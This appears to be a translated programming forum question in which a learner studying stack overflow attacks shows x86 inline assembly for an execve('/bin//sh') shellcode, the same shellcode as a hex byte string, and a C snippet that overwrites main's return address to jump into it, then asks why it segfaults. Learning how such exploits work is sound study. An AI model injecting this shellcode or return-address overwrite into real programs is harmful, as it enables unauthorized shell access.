我一直试图了解堆栈溢出攻击是如何工作的。到目前为止,我可以成功地将返回地址重定向到原始代码中的一条指令。我在汇编中编写了一个 shellcode 启动器,并让它在 ac 程序中工作。通过使用 gdb 进行调试,我获得了代表 shellcode 启动器的十六进制,并且 c 程序运行良好。然而,当我尝试将这个十六进制字符串注入另一个程序时,我得到了分段错误。当我跟踪返回地址时,我意识到它已成功设置为在程序退出之前指向十六进制字符串。快照显示了这些步骤。我无法弄清楚为什么注入不起作用,因为相同的代码可以在程序集中创建 shell 并且主函数的返回地址被设置为指向 sc (创建新 shell 的字符串)。
#include <stdio.h>
void main(){
asm(
"xorl %eax,%eax;"
"pushl %eax;"
"pushl $0x68732f2f;"
"pushl $0x6e69622f;"
"movl %esp,%ebx;"
"pushl %eax;"
"pushl %ebx;"
"movl %esp,%ecx;"
"movl %eax,%edx;"
"movb $0x0b,%al;"
"int $0x80;"
);
}
当我编译并运行上述包含程序集的 c 代码时,它运行得非常好。我使用gdb在上面的c程序中获得了asm代码的十六进制并生成了以下堆栈粉碎代码。
char sc[]=
"\x31\xc0\x50\x68\x2f\x2f\x73"
"\x68\x68\x2f\x62\x69\x6e"
"\x89\xe3\x50\x53\x89\xe1"
"\x89\xc2\xb0\x0b\xcd\x80";
void main(){
int *ret;
ret=(int *)&ret+2;
(*ret)=(int)sc;
}
当我运行代码时,出现以下错误。程序收到信号 SIGSEGV,分段错误。sc()中的0x0804a01c